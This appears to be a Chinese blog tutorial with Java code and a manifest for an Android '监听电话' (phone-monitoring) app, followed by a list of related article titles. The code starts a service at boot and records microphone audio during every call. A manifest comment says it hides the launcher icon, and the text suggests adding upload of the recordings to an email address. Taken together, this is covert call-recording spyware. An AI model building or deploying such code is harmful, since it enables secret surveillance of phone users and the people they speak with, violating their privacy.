监听电话app
一.功能简介:
    本demo基于android 6.0实现对麦克风的录音,将录音保存到本地。利用广播监听开机启动,并开启监听服务。如果有兴趣,可以添加网络权限和上传功能到指定邮箱等等。
二. 代码简介
     1.StartPhoneBroadcast.java    本类用于监听开机启动事件,并开启监听服务。

 public void onReceive(Context context, Intent intent) {if(ACTION_BOOT.equals(intent.getAction())){//检测到系统开机Toast.makeText(context,"已开机",Toast.LENGTH_LONG).show();Intent service=new Intent();service.setClass(context, MyService.class);context.startService(service);}}

注:ACTION_BOOT为自定义字符串private final String ACTION_BOOT = "android.intent.action.BOOT_COMPLETED";
 2.MyService.java类

    @Overridepublic void onCreate() {super.onCreate();//获取电话管理器对象TelephonyManager telephonyManager= ( TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//设置电话监听器,监听电话状态telephonyManager.listen(new MyTelephoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}//定义监听内部类实现监听录音class MyTelephoneListener extends PhoneStateListener{private  MediaRecorder recorder;private boolean record;private File audioFile;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);switch (state){case TelephonyManager.CALL_STATE_OFFHOOK:recorder = new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //内容输出格式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//输出到缓存目录,此处可以添加上传录音的功能,也可以存到其他位置audioFile = new File(getCacheDir(), "recoder"+ "_" + System.currentTimeMillis() + ".3gp");recorder.setOutputFile(audioFile.getAbsolutePath());try {recorder.prepare();} catch (IOException e) {e.printStackTrace();}recorder.start();record=true;Log.i(tag,"电话已经摘机");break;case TelephonyManager.CALL_STATE_RINGING:String mobile=incomingNumber;Log.i(tag,"电话已响铃");Log.i(tag,mobile+"来电");break;case TelephonyManager.CALL_STATE_IDLE:if(record) {recorder.stop(); //停止刻录recorder.release(); //释放资源Log.i(tag, "电话空闲");record=false;}break;}}}

三.MainActivity类
  因为需要申请权限,所以在MainActivity中添加权限申请。
            Manifest.permission.READ_PHONE_STATE, //读取电话状态
            Manifest.permission.RECEIVE_BOOT_COMPLETED, //开机启动广播(不需要手动申请)
            Manifest.permission.WRITE_EXTERNAL_STORAGE, //读写SD卡
            Manifest.permission.RECORD_AUDIO        //录音权限

    protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);verifyStoragePermissions(this);}@Overridepublic boolean onCreateOptionsMenu(Menu menu) {return super.onCreateOptionsMenu(menu);}private static final int READ_PHONE_STATE = 1;private static String[] CALLS_STATE = {Manifest.permission.READ_PHONE_STATE,Manifest.permission.WRITE_EXTERNAL_STORAGE,Manifest.permission.RECORD_AUDIO};public static void verifyStoragePermissions(Activity activity) {int permission = ActivityCompat.checkSelfPermission(activity, Manifest.permission.READ_PHONE_STATE);if (permission != PackageManager.PERMISSION_GRANTED) {ActivityCompat.requestPermissions(activity, CALLS_STATE , READ_PHONE_STATE);}}

四.在资源文件中配置

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="my.com.services01"><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><uses-permission android:name="android.permission.RECORD_AUDIO"/><applicationandroid:allowBackup="true"android:icon="@mipmap/ic_launcher"android:label="@string/app_name"android:supportsRtl="true"android:theme="@style/AppTheme"><activity android:name=".MainActivity"><intent-filter><action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/>
<!-- 用于隐藏应用快捷图标-->
<data android:host="MainActivity" android:scheme="my.com.Mainactivity" /></intent-filter></activity><service android:name="my.com.service.MyService"></service><receiver android:name="my.com.broadcast.StartPhoneBroadcast" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED"/></intent-filter></receiver></application></manifest>

五.总结
    本案例是用来学习监听电话录音的,由于录音只能识别麦克风的声音,所以只能录下自己说的话,如果需要录下对方的声音,需要在打电话的时候开启扬声器。

android实现监听打电话并录音保存到本地相关推荐

  1. android监听服务,服务监听打电话

    主代码写 package com.example.phonerecorder; import android.app.Activity; import android.content.Intent; ...

  2. Android 异常崩溃日志,捕捉并保存到本地

    Android 异常崩溃日志,捕捉并保存到本地: 前几天因为在省公安厅做一个通讯类之类的应用:碰到个问题,就是download人员信息将信息保存到本地数据库完成的时候,菊花转还没有dismission ...

  3. 将Android布局转成图片,并保存到本地(解决JPEG图片因透明度变黑问题)

    最新碰到个需求,就是将布局转成图片导出,后来想到可以用view.draw(canvas)方法,将布局转为图片. 将布局转为bitmap public Bitmap getBitmap(View vie ...

  4. Android实现对Dialog的截图并保存在本地

    直接上代码: public class TestDilaog extends Dialog {public TestDilaog(@NonNull Context context) {super(co ...

  5. Android开发 拍照+读取相册+保存到本地

    Android Studio 新建项目,Minimum SDK选择API 28: android 9.0(Pie),在华为Mate20 Pro 测试通过. AndroidManifest.xml中添加 ...

  6. 71.android 简单的电话录音并保存到本地(来电和去电都支持)

    //第一步 先加权限 在AndroidManifest.xml里: //有打电话的权限,读写权限,还有录音权限. <uses-permission android:name="andr ...

  7. android 2.1 监听电话状态并自动接听来电

    一.开发环境       Elispse5.5,JDK1.6,Aadroid 2.1 二.开发中使用到的重点技术点:       距离感应(SENSOR_SERVICE ),音讯管理(AUDIO_SE ...

  8. Android初级教程实现电话录音

    需求:设置来电后自动录音. 首先设置一个按钮,代码很简单这里就不再给出. 建一个类,RecorderServicer extends Service package com.ydl.recorder; ...

  9. Android广播接实现电话的监听(电话的状态,拦截)

    Android广播接实现电话的监听 1:需要在AndroidManifest.xml清单中添加权限 <uses-permission android:name="android.per ...

最新文章

  1. flutter text 左对齐_Flutter基础篇之九-Text文本展示
  2. 【转】Oracle执行计划解释
  3. CodeForces - 375D Tree and Queries 树启 + 思维
  4. Java逆序列化报错serialVersionUID不同
  5. mysql修改引擎_修改MySQL引擎
  6. golang for switch break 使用
  7. mysql数据库安装时的默认端口_数据库默认端口号
  8. PDF怎么转换成PPT?用迅读PDF大师,轻松解决教案问题
  9. 【无标题】C# 修改操作时禁用过滤器
  10. ios11 mjrefresh 上拉加载更多怎么停不下来了??
  11. Xilinx SRIO_gen2关于时钟的问题
  12. 手机应用使用情况监控统计APP
  13. ios-emoji的显示
  14. 神威太湖之光超级计算机的运算速度是,“神威·太湖之光”运算速度到底有多快?...
  15. 【js】onchange事件不被触发
  16. 微信小程序 php配置,微信小程序 教程之小程序配置
  17. 2022年广西建筑安全员考试真题题库及答案
  18. 【Luogu】P2489迷宫探险(概率DP)
  19. 几种重要的HDTV连接端子
  20. layui模板引擎的使用

热门文章

  1. 为何计算机科学领域的女性不多
  2. 基于深度学习的视觉应用,我们也可以开发哦!
  3. Android仿新版微信的小程序下拉栏
  4. 可怕的大学,到底有多少人在校园里浪费青春
  5. java线程池使用详解
  6. ch340预安装成功,但是就是无法识别 也无法卸载 怎么办?
  7. GBase UP是做什么的
  8. 关于全球变暖,你应该知道的事实
  9. 中国少儿模特明星盛典 《荣耀王者》主题曲 即将全网发布
  10. #ifdef _cplusplus(转)